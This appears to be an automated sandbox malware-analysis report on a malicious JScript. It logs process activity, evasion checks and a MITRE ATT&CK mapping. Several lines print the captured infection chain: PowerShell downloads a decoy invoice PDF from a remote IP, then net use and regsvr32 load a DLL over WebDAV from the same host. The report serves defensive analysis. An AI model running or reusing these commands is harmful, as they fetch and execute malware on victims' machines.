Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\8287.js.csv");ITextStream.WriteLine(" entry:6971 f:lzpqmrgpp");ITextStream.WriteLine(" exec:2 f:lzpqmrgpp");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49722

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4817			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5017			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3608	Thread sleep count: 4817 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7112	Thread sleep count: 5017 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7084	Thread sleep time: -9223372036854770s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1128	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 6540	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 2436	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.2229321879.000002AF76AE8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2229321879.000002AF76B4B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3453385177.000002833242B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3455405358.0000028337C54000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2298490184710.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2298490184710.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2298490184710.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2298490184710.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2298490184710.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
